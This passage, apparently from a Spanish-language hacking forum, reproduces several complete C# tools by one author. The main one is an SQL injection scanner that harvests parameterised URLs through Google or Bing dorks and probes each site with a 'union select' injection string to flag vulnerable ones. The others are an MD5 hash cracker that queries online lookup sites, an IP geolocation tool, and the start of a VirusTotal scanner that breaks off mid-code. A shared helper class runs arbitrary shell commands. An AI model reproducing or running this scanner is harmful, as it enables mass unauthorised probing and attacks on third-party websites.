                byte[] codedos = nave.UploadFile(link, "POST", archivo);
                code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length);

            }

            catch
            {
                code = "Error";
            }

            return code;

        }

        public string basename(string file)
        {
            String nombre = "";

            FileInfo basename = new FileInfo(file);
            nombre = basename.Name;

            return nombre;

        }

        public string console(string cmd)
        {

            string code = "";

            try
            {

                System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
                loadnow.RedirectStandardOutput = true;
                loadnow.UseShellExecute = false;
                loadnow.CreateNoWindow = true;
                System.Diagnostics.Process loadnownow = new System.Diagnostics.Process();
                loadnownow.StartInfo = loadnow;
                loadnownow.Start();
                code = loadnownow.StandardOutput.ReadToEnd();

            }

            catch
            {
                code = "Error";
            }

            return code;

        }

        public string urisplit(string url, string opcion)
        {

            string code = "";

            Uri dividir = new Uri(url);

            if (opcion == "host")
            {
                code = dividir.Host;
            }

            if (opcion == "port")
            {
                code = Convert.ToString(dividir.Port);
            }

            if (opcion == "path")
            {
                code = dividir.LocalPath;
            }

            if (opcion == "file")
            {
                code = dividir.AbsolutePath;
                FileInfo basename = new FileInfo(code);
                code = basename.Name;
            }

            if (opcion == "query")
            {
                code = dividir.Query;
            }

            if (opcion == "")
            {
                code = "Error";
            }

            return code;
        }

        public string convertir_md5(string text)
        {
            MD5 convertirmd5 = MD5.Create();
            byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text));
            StringBuilder guardar = new StringBuilder();
            for (int numnow = 0; numnow < infovalor.Length; numnow++)
            {
                guardar.Append(infovalor[numnow].ToString("x2"));
            }
            return guardar.ToString();
        }

        public string md5file(string file)
        {

            string code = "";

            try
            {
                var gen = MD5.Create();
                var ar = File.OpenRead(file);
                code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower();

            }
            catch
            {
                code = "Error";
            }

            return code;
        }

        public string getip(string host)
        {
            string code = "";
            try
            {
                IPAddress[] find = Dns.GetHostAddresses(host);
                code = find[0].ToString();
            }
            catch
            {
                code = "Error";
            }
            return code;
        }

    }
}

// The End ?


Si lo quieren bajar lo pueden hacer de aca
#99
.NET (C#, VB.NET, ASP) / [C#] SQLI Scanner 0.4
18 Julio 2014, 01:36 AM
Un simple programa en C# para buscar paginas vulnerables a SQLI usando Google o Bing.

Una imagen :



Los codigos :

Form1.cs

Código (csharp) [Seleccionar]

// SQLI Scanner 0.4
// (C) Doddy Hackman 2014

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Text.RegularExpressions;

namespace SQLI_Scanner
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {

            listBox1.Items.Clear();

            DH_Tools tools = new DH_Tools();
            funciones funcion = new funciones();

            toolStripStatusLabel1.Text = "[+] Searching ...";
            this.Refresh();

            List<string> urls = new List<string> { };

            if (comboBox1.Text == "Bing")
            {
                urls = funcion.bingsearch(textBox1.Text, textBox2.Text);
                urls = tools.repes(tools.cortar(urls));
            }
            else
            {
                urls = funcion.googlesearch(textBox1.Text, textBox2.Text);
                urls = tools.repes(tools.cortar(urls));
            }

            foreach (string url in urls)
            {
                listBox1.Items.Add(url);
            }

            if (listBox1.Items.Count == 0)
            {
                MessageBox.Show("Not Found");
            }

            toolStripStatusLabel1.Text = "[+] Search finished";
            this.Refresh();
        }

        private void button2_Click(object sender, EventArgs e)
        {

            toolStripStatusLabel1.Text = "[+] Scanning ...";
            this.Refresh();

            listBox2.Items.Clear();

            DH_Tools tools = new DH_Tools();

            String url = "";
            String code = "";

            List<string> urls_to_scan = new List<string> { };

            foreach (object write in listBox1.Items)
            {
                urls_to_scan.Add(write.ToString());
            }

            if (listBox1.Items.Count == 0)
            {
                MessageBox.Show("Not Found");
            }
            else
            {

                foreach (string page in urls_to_scan)
                {

                    toolStripStatusLabel1.Text = "[+] Checking : "+page;
                    this.Refresh();

                    code = tools.toma(page + "-1+union+select+666--");

                    Match regex = Regex.Match(code, "The used SELECT statements have a different number of columns", RegexOptions.IgnoreCase);
                    if (regex.Success)
                    {
                        listBox2.Items.Add(page);
                        tools.savefile("sqli-logs.txt", page);
                    }
                }

                if (listBox2.Items.Count == 0)
                {
                    MessageBox.Show("Not Found");
                }

            }

            toolStripStatusLabel1.Text = "[+] Scan Finished";
            this.Refresh();

        }

        private void button3_Click(object sender, EventArgs e)
        {
            DH_Tools tools = new DH_Tools();
            if (File.Exists("sqli-logs.txt"))
            {
                tools.console("sqli-logs.txt");
            }
            else
            {
                MessageBox.Show("Logs not found");
            }
        }

        private void button4_Click(object sender, EventArgs e)
        {
            Application.Exit();
        }

        private void listBox1_DoubleClick(object sender, EventArgs e)
        {
            DH_Tools tools = new DH_Tools();
            tools.console("start "+listBox1.SelectedItem.ToString());
           
        }

        private void listBox2_DoubleClick(object sender, EventArgs e)
        {
            DH_Tools tools = new DH_Tools();
            tools.console("start " + listBox2.SelectedItem.ToString());
        }
    }
}

// The End ?


funciones.cs

Código (csharp) [Seleccionar]

// Funciones para SQLI Scanner 0.4
// (C) Doddy Hackman 2014

using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.Text.RegularExpressions;
using System.Web;

namespace SQLI_Scanner
{
    class funciones
    {
        public List<String> bingsearch(string dork, string cantidad)
        {

            String code = "";
            Int16 num = 0;

            //String dork = "index.php+id";
            //String cantidad = "20";

            String url_cortar = "";
            String url_final = "";

            WebClient nave = new WebClient();
            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";

            List<string> urls = new List<string> { };

            for (num = 10; num <= Convert.ToInt16(cantidad); num += 10)
            {

                code = nave.DownloadString("http://www.bing.com/search?q=" + dork + "&first=" + num);

                Match regex1 = Regex.Match(code, "<h3><a href=\"(.*?)\"", RegexOptions.IgnoreCase);
                while (regex1.Success)
                {
                    url_cortar = regex1.Groups[1].Value;
                    Match regex2 = Regex.Match(url_cortar, "(.*?)=(.*?)", RegexOptions.IgnoreCase);
                    if (regex2.Success)
                    {
                        url_final = regex2.Groups[1].Value + "=";
                        urls.Add(url_final);
                    }

                    regex1 = regex1.NextMatch();

                }

            }

            return urls;

        }

        public List<String> googlesearch(string dork, string paginas)
        {

            String code = "";
            Int16 num = 0;
            String lineafinale = "";
            String leer = "";

            WebClient nave = new WebClient();
            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";

            List<string> urlsgoogle = new List<string> { };

            for (num = 10; num <= Convert.ToInt16(paginas); num += 10)
            {
                code = nave.DownloadString("http://www.google.com/search?hl=&q=" + dork + "&start=" + num);

                Match regex = Regex.Match(code, "(?<=\"r\"><. href=\")(.+?)\"", RegexOptions.IgnoreCase);
                while (regex.Success)
                {
                    leer = Uri.UnescapeDataString(regex.Groups[1].Value);
                    Match cortada = Regex.Match(leer, @"\/url\?q\=(.*?)\&amp\;", RegexOptions.IgnoreCase);
                    if (cortada.Success)
                    {
                        lineafinale = cortada.Groups[1].Value;
                    }
                    else
                    {
                        lineafinale = leer;
                    }

                    urlsgoogle.Add(lineafinale);

                    regex = regex.NextMatch();
                }


            }

            return urlsgoogle;

        }
    }
}

// The End ?


DH_Tools.cs

Código (csharp) [Seleccionar]

// Class Name : DH Tools
// Version : Beta
// Author : Doddy Hackman
// (C) Doddy Hackman 2014
//
// Functions :
//
// [+] HTTP Methods GET & POST
// [+] Get HTTP Status code number
// [+] HTTP FingerPrinting
// [+] Read File
// [+] Write File
// [+] GET OS
// [+] Remove duplicates from a List
// [+] Cut urls from a List
// [+] Download
// [+] Upload
// [+] Get Basename from a path
// [+] Execute commands
// [+] URI Split
// [+] MD5 Hash Generator
// [+] Get MD5 of file
// [+] Get IP address from host name
//
// Credits :
//
// Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
// Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
// HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
// List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
// Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
// MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
// Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
//
// Thanks to : $DoC and atheros14 (Forum indetectables)
//

using System;
using System.Collections.Generic;
using System.Text;

using System.Net;
using System.IO;
using System.Text.RegularExpressions;
using System.Security.Cryptography;

namespace SQLI_Scanner
{
    class DH_Tools
    {
        public string toma(string url)
        {
            string code = "";

            try
            {
                WebClient nave = new WebClient();
                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                code = nave.DownloadString(url);
            }
            catch
            {
                //
            }
            return code;
        }

        public string tomar(string url, string par)
        {

            string code = "";

            try
            {

                HttpWebRequest nave = (HttpWebRequest)
                WebRequest.Create(url);

                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                nave.Method = "POST";
                nave.ContentType = "application/x-www-form-urlencoded";

                Stream anteantecode = nave.GetRequestStream();

                anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
                anteantecode.Close();

                StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
                code = antecode.ReadToEnd();

            }
            catch
            {
                //
            }

            return code;

        }

        public string respondecode(string url)
        {
            String code = "";
            try
            {
                HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);
                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                HttpWebResponse num = (HttpWebResponse)nave.GetResponse();

                int number = (int)num.StatusCode;
                code = Convert.ToString(number);

            }
            catch
            {

                code = "404";

            }
            return code;
        }

        public string httpfinger(string url)
        {

            String code = "";

            try
            {

                HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url);
                HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse();

                for (int num = 0; num < nave2.Headers.Count; ++num)
                {
                    code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine;
                }

                nave2.Close();
            }
            catch
            {
                //
            }

            return code;

        }

        public string openword(string file)
        {
            String code = "";
            try
            {
                code = System.IO.File.ReadAllText(file);
            }
            catch
            {
                //
            }
            return code;
        }

        public void savefile(string file, string texto)
        {

            try
            {
                System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
                save.Write(texto);
                save.Close();
            }
            catch
            {
                //
            }
        }

        public string getos()
        {
            string code = "";

            try
            {
                System.OperatingSystem os = System.Environment.OSVersion;
                code = Convert.ToString(os);
            }
            catch
            {
                code = "?";
            }

            return code;
        }

        public List<string> repes(List<string> array)
        {
            List<string> repe = new List<string>();
            foreach (string lin in array)
            {
                if (!repe.Contains(lin))
                {
                    repe.Add(lin);
                }
            }

            return repe;

        }

        public List<string> cortar(List<string> otroarray)
        {
            List<string> cort = new List<string>();

            foreach (string row in otroarray)
            {

                String lineafinal = "";

                Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "=";
                    cort.Add(lineafinal);
                }

            }

            return cort;
        }

        public string download(string url, string savename)
        {

            String code = "";

            WebClient nave = new WebClient();
            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";

            try
            {
                nave.DownloadFile(url, savename);
                code = "OK";
            }
            catch
            {
                code = "Error";
            }

            return code;
        }

        public string upload(string link, string archivo)
        {

            String code = "";

            try
            {

                WebClient nave = new WebClient();
                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                byte[] codedos = nave.UploadFile(link, "POST", archivo);
                code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length);

            }

            catch
            {
                code = "Error";
            }

            return code;

        }

        public string basename(string file)
        {
            String nombre = "";

            FileInfo basename = new FileInfo(file);
            nombre = basename.Name;

            return nombre;

        }

        public string console(string cmd)
        {

            string code = "";

            try
            {

                System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
                loadnow.RedirectStandardOutput = true;
                loadnow.UseShellExecute = false;
                loadnow.CreateNoWindow = true;
                System.Diagnostics.Process loadnownow = new System.Diagnostics.Process();
                loadnownow.StartInfo = loadnow;
                loadnownow.Start();
                code = loadnownow.StandardOutput.ReadToEnd();

            }

            catch
            {
                code = "Error";
            }

            return code;

        }

        public string urisplit(string url, string opcion)
        {

            string code = "";

            Uri dividir = new Uri(url);

            if (opcion == "host")
            {
                code = dividir.Host;
            }

            if (opcion == "port")
            {
                code = Convert.ToString(dividir.Port);
            }

            if (opcion == "path")
            {
                code = dividir.LocalPath;
            }

            if (opcion == "file")
            {
                code = dividir.AbsolutePath;
                FileInfo basename = new FileInfo(code);
                code = basename.Name;
            }

            if (opcion == "query")
            {
                code = dividir.Query;
            }

            if (opcion == "")
            {
                code = "Error";
            }

            return code;
        }

        public string convertir_md5(string text)
        {
            MD5 convertirmd5 = MD5.Create();
            byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text));
            StringBuilder guardar = new StringBuilder();
            for (int numnow = 0; numnow < infovalor.Length; numnow++)
            {
                guardar.Append(infovalor[numnow].ToString("x2"));
            }
            return guardar.ToString();
        }

        public string md5file(string file)
        {

            string code = "";

            try
            {
                var gen = MD5.Create();
                var ar = File.OpenRead(file);
                code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower();

            }
            catch
            {
                code = "Error";
            }

            return code;
        }

        public string getip(string host)
        {
            string code = "";
            try
            {
                IPAddress[] find = Dns.GetHostAddresses(host);
                code = find[0].ToString();
            }
            catch
            {
                code = "Error";
            }
            return code;
        }

    }
}

// The End ?


Si lo quieren bajar lo pueden hacer de aca.
#100
.NET (C#, VB.NET, ASP) / [C#] MD5 Cracker 0.3
11 Julio 2014, 18:38 PM
Version en C# de este programa para crackear un MD5 usando el servicio de diversas paginas online.

Una imagen :



Los codigos :

Código (csharp) [Seleccionar]

// MD5 Cracker 0.3
// (C) Doddy Hackman 2014
// Credits :
// Based in ->
// http://md5online.net
// http://md5decryption.com
// http://md5.my-addr.com
// Thanks to aeonhack for the Theme Skin

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Text.RegularExpressions;

namespace md5cracker
{
   public partial class Form1 : Form
   {
       public Form1()
       {
           InitializeComponent();
       }

       private void droneButton2_Click(object sender, EventArgs e)
       {
           toolStripStatusLabel1.Text = "[+] Cracking ...";
           this.Refresh();

           //202cb962ac59075b964b07152d234b70

           string md5 = textBox1.Text;
           string rta = "";
           string code = "";

           DH_Tools tools = new DH_Tools();
           code = tools.tomar("http://md5online.net/index.php", "pass=" + md5 + "&option=hash2text&send=Submit");

           Match regex = Regex.Match(code, "<center><p>md5 :<b>(.*?)</b> <br>pass : <b>(.*?)</b></p>", RegexOptions.IgnoreCase);
           if (regex.Success)
           {
               rta = regex.Groups[2].Value;

           }
           else
           {
               code = tools.tomar("http://md5decryption.com/index.php", "hash=" + md5 + "&submit=Decrypt It!");

               regex = Regex.Match(code, "Decrypted Text: </b>(.*?)</font>", RegexOptions.IgnoreCase);
               if (regex.Success)
               {
                   rta = regex.Groups[1].Value;

               }
               else
               {
                   code = tools.tomar("http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php", "md5=" + md5);
                   regex = Regex.Match(code, "<span class='middle_title'>Hashed string</span>: (.*?)</div>", RegexOptions.IgnoreCase);
                   if (regex.Success)
                   {
                       rta = regex.Groups[1].Value;

                   }
                   else
                   {
                       rta = "Not Found";
                   }

               }

           }

           textBox2.Text = rta;

           toolStripStatusLabel1.Text = "[+] Finished";
           this.Refresh();

       }

       private void droneButton3_Click(object sender, EventArgs e)
       {
           Clipboard.SetText(textBox2.Text);

           toolStripStatusLabel1.Text = "[+] Copied";
           this.Refresh();
       }

       private void droneButton1_Click(object sender, EventArgs e)
       {
           Application.Exit();
       }

   }
}

// The End ?


Código (csharp) [Seleccionar]

// Class Name : DH Tools
// Version : Beta
// Author : Doddy Hackman
// (C) Doddy Hackman 2014
//
// Functions :
//
// [+] HTTP Methods GET & POST
// [+] Get HTTP Status code number
// [+] HTTP FingerPrinting
// [+] Read File
// [+] Write File
// [+] GET OS
// [+] Remove duplicates from a List
// [+] Cut urls from a List
// [+] Download
// [+] Upload
// [+] Get Basename from a path
// [+] Execute commands
// [+] URI Split
// [+] MD5 Hash Generator
// [+] Get MD5 of file
// [+] Get IP address from host name
//
// Credits :
//
// Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
// Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
// HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
// List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
// Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
// MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
// Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
//
// Thanks to : $DoC and atheros14 (Forum indetectables)
//

using System;
using System.Collections.Generic;
using System.Text;

using System.Net;
using System.IO;
using System.Text.RegularExpressions;
using System.Security.Cryptography;

namespace md5cracker
{
   class DH_Tools
   {
       public string toma(string url)
       {
           string code = "";

           try
           {
               WebClient nave = new WebClient();
               nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
               code = nave.DownloadString(url);
           }
           catch
           {
               //
           }
           return code;
       }

       public string tomar(string url, string par)
       {

           string code = "";

           try
           {

               HttpWebRequest nave = (HttpWebRequest)
               WebRequest.Create(url);

               nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
               nave.Method = "POST";
               nave.ContentType = "application/x-www-form-urlencoded";

               Stream anteantecode = nave.GetRequestStream();

               anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
               anteantecode.Close();

               StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
               code = antecode.ReadToEnd();

           }
           catch
           {
               //
           }

           return code;

       }

       public string respondecode(string url)
       {
           String code = "";
           try
           {
               HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);
               nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
               HttpWebResponse num = (HttpWebResponse)nave.GetResponse();

               int number = (int)num.StatusCode;
               code = Convert.ToString(number);

           }
           catch
           {

               code = "404";

           }
           return code;
       }

       public string httpfinger(string url)
       {

           String code = "";

           try
           {

               HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url);
               HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse();

               for (int num = 0; num < nave2.Headers.Count; ++num)
               {
                   code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine;
               }

               nave2.Close();
           }
           catch
           {
               //
           }

           return code;

       }

       public string openword(string file)
       {
           String code = "";
           try
           {
               code = System.IO.File.ReadAllText(file);
           }
           catch
           {
               //
           }
           return code;
       }

       public void savefile(string file, string texto)
       {

           try
           {
               System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
               save.Write(texto);
               save.Close();
           }
           catch
           {
               //
           }
       }

       public string getos()
       {
           string code = "";

           try
           {
               System.OperatingSystem os = System.Environment.OSVersion;
               code = Convert.ToString(os);
           }
           catch
           {
               code = "?";
           }

           return code;
       }

       public List<string> repes(List<string> array)
       {
           List<string> repe = new List<string>();
           foreach (string lin in array)
           {
               if (!repe.Contains(lin))
               {
                   repe.Add(lin);
               }
           }

           return repe;

       }

       public List<string> cortar(List<string> otroarray)
       {
           List<string> cort = new List<string>();

           foreach (string row in otroarray)
           {

               String lineafinal = "";

               Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase);
               if (regex.Success)
               {
                   lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "=";
                   cort.Add(lineafinal);
               }

           }

           return cort;
       }

       public string download(string url, string savename)
       {

           String code = "";

           WebClient nave = new WebClient();
           nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";

           try
           {
               nave.DownloadFile(url, savename);
               code = "OK";
           }
           catch
           {
               code = "Error";
           }

           return code;
       }

       public string upload(string link, string archivo)
       {

           String code = "";

           try
           {

               WebClient nave = new WebClient();
               nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
               byte[] codedos = nave.UploadFile(link, "POST", archivo);
               code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length);

           }

           catch
           {
               code = "Error";
           }

           return code;

       }

       public string basename(string file)
       {
           String nombre = "";

           FileInfo basename = new FileInfo(file);
           nombre = basename.Name;

           return nombre;

       }

       public string console(string cmd)
       {

           string code = "";

           try
           {

               System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
               loadnow.RedirectStandardOutput = true;
               loadnow.UseShellExecute = false;
               loadnow.CreateNoWindow = true;
               System.Diagnostics.Process loadnownow = new System.Diagnostics.Process();
               loadnownow.StartInfo = loadnow;
               loadnownow.Start();
               code = loadnownow.StandardOutput.ReadToEnd();

           }

           catch
           {
               code = "Error";
           }

           return code;

       }

       public string urisplit(string url, string opcion)
       {

           string code = "";

           Uri dividir = new Uri(url);

           if (opcion == "host")
           {
               code = dividir.Host;
           }

           if (opcion == "port")
           {
               code = Convert.ToString(dividir.Port);
           }

           if (opcion == "path")
           {
               code = dividir.LocalPath;
           }

           if (opcion == "file")
           {
               code = dividir.AbsolutePath;
               FileInfo basename = new FileInfo(code);
               code = basename.Name;
           }

           if (opcion == "query")
           {
               code = dividir.Query;
           }

           if (opcion == "")
           {
               code = "Error";
           }

           return code;
       }

       public string convertir_md5(string text)
       {
           MD5 convertirmd5 = MD5.Create();
           byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text));
           StringBuilder guardar = new StringBuilder();
           for (int numnow = 0; numnow < infovalor.Length; numnow++)
           {
               guardar.Append(infovalor[numnow].ToString("x2"));
           }
           return guardar.ToString();
       }

       public string md5file(string file)
       {

           string code = "";

           try
           {
               var gen = MD5.Create();
               var ar = File.OpenRead(file);
               code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower();

           }
           catch
           {
               code = "Error";
           }

           return code;
       }

       public string getip(string host)
       {
           string code = "";
           try
           {
               IPAddress[] find = Dns.GetHostAddresses(host);
               code = find[0].ToString();
           }
           catch
           {
               code = "Error";
           }
           return code;
       }

   }
}

// The End ?


Si quieren bajar el programa lo pueden hacer de aca.
#101
.NET (C#, VB.NET, ASP) / [C#] LocateIP 0.2
4 Julio 2014, 19:24 PM
Un simple programa en C# para localizar una IP , su localizacion y sus DNS.

Una imagen :



El codigo :

Form1.cs

Código (csharp) [Seleccionar]

// LocateIP 0.2
// (C) Doddy Hackman 2014
// Credits :
// To locate IP : http://www.melissadata.com/lookups/iplocation.asp?ipaddress=
// To get DNS : http://www.ip-adress.com/reverse_ip/
// Theme Skin designed by Aeonhack
// Thanks to www.melissadata.com and www.ip-adress.com and Aeonhack

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;

namespace locateip
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();

        }

        private void mButton2_Click(object sender, EventArgs e)
        {           
            funciones modulos = new funciones();

            if (textBox1.Text == "")
            {
                MessageBox.Show("Enter the target");
            }
            else
            {

                textBox2.Text = "";
                textBox3.Text = "";
                textBox4.Text = "";
                listBox1.Items.Clear();

                toolStripStatusLabel1.Text = "[+] Getting IP ...";
                this.Refresh();


                string ip = modulos.getip(textBox1.Text);
                if (ip == "Error")
                {
                    MessageBox.Show("Error getting IP ...");
                    toolStripStatusLabel1.Text = "[-] Error getting IP";
                    this.Refresh();
                }
                else
                {
                    textBox1.Text = ip;
                    toolStripStatusLabel1.Text = "[+] Locating ...";
                    this.Refresh();
                    List<String> localizacion = modulos.locateip(ip);
                    if (localizacion[0] == "Error")
                    {
                        MessageBox.Show("Error locating ...");
                        toolStripStatusLabel1.Text = "[-] Error locating";
                        this.Refresh();
                    }
                    else
                    {
                        textBox2.Text = localizacion[0];
                        textBox3.Text = localizacion[1];
                        textBox4.Text = localizacion[2];

                        toolStripStatusLabel1.Text = "[+] Getting DNS ...";
                        this.Refresh();

                        List<String> dns_found = modulos.getdns(ip);
                        if (dns_found[0] == "")
                        {
                            MessageBox.Show("Error getting DNS ...");
                            toolStripStatusLabel1.Text = "[-] Error getting DNS";
                            this.Refresh();
                        }
                        else
                        {

                            foreach (string dns in dns_found)
                            {
                                listBox1.Items.Add(dns);
                            }

                            toolStripStatusLabel1.Text = "[+] Finished";
                            this.Refresh();
                        }

                    }

               
                }

            }
           
        }

        private void mButton1_Click(object sender, EventArgs e)
        {
            Application.Exit();
        }
    }
}

// The End ?


funciones.cs

Código (csharp) [Seleccionar]

// Funciones for LocateIP 0.2
// (C) Doddy Hackman 2014

using System;
using System.Collections.Generic;
using System.Text;

//
using System.Net;
using System.IO;
using System.Text.RegularExpressions;
//

namespace locateip
{
    class funciones
    {
        public string getip(string buscar)
        {

            String code = "";
            String url = "http://whatismyipaddress.com/hostname-ip";
            String par = "DOMAINNAME="+buscar;
            String ip = "";

            HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);

            nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
            nave.Method = "POST";
            nave.ContentType = "application/x-www-form-urlencoded";

            Stream anteantecode = nave.GetRequestStream();

            anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
            anteantecode.Close();

            StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
            code = antecode.ReadToEnd();

            Match regex = Regex.Match(code, "Lookup IP Address: <a href=(.*)>(.*)</a>", RegexOptions.IgnoreCase);

            if (regex.Success)
            {
                ip = regex.Groups[2].Value;
            }
            else
            {
                ip = "Error";
            }

            return ip;
        }

        public List<String> locateip(string ip)
        {
            string code = "";

            string city = "";
            string country = "";
            string state = "";

            WebClient nave = new WebClient();
            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
            code = nave.DownloadString("http://www.melissadata.com/lookups/iplocation.asp?ipaddress=" + ip);

            Match regex = Regex.Match(code, "City</td><td align=(.*)><b>(.*)</b></td>", RegexOptions.IgnoreCase);

            if (regex.Success)
            {
                city = regex.Groups[2].Value;
            }
            else
            {
                city = "Error";
            }

            regex = Regex.Match(code, "Country</td><td align=(.*)><b>(.*)</b></td>", RegexOptions.IgnoreCase);

            if (regex.Success)
            {
                country = regex.Groups[2].Value;
            }
            else
            {
                country = "Error";
            }

            regex = Regex.Match(code, "State or Region</td><td align=(.*)><b>(.*)</b></td>", RegexOptions.IgnoreCase);

            if (regex.Success)
            {
                state = regex.Groups[2].Value;
            }
            else
            {
                state = "Error";
            }

            List<string> respuesta = new List<string> {};
            respuesta.Add(city);
            respuesta.Add(country);
            respuesta.Add(state);
            return respuesta;

        }

        public List<String> getdns(string ip)
        {

            string code = "";

            WebClient nave = new WebClient();
            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
            code = nave.DownloadString("http://www.ip-adress.com/reverse_ip/" + ip);

            List<string> respuesta = new List<string> {};

            Match regex = Regex.Match(code, "whois/(.*?)\">Whois", RegexOptions.IgnoreCase);

            while (regex.Success)
            {
                respuesta.Add(regex.Groups[1].Value);
                regex = regex.NextMatch();
            }

            return respuesta;
        }

    }
}

// The End ?


Si lo quieren bajar lo pueden hacer de aca.
#102
Mi primer programa en C# , un simple scanner del servicio VirusTotal.

Una imagen :



El codigo :

Form1.cs

Código (csharp) [Seleccionar]

// VirusTotal Scanner 0.1
// (C) Doddy Hackman 2014

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Text.RegularExpressions;

namespace virustotalscanner
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            openFileDialog1.ShowDialog();
            if (File.Exists(openFileDialog1.FileName))
            {
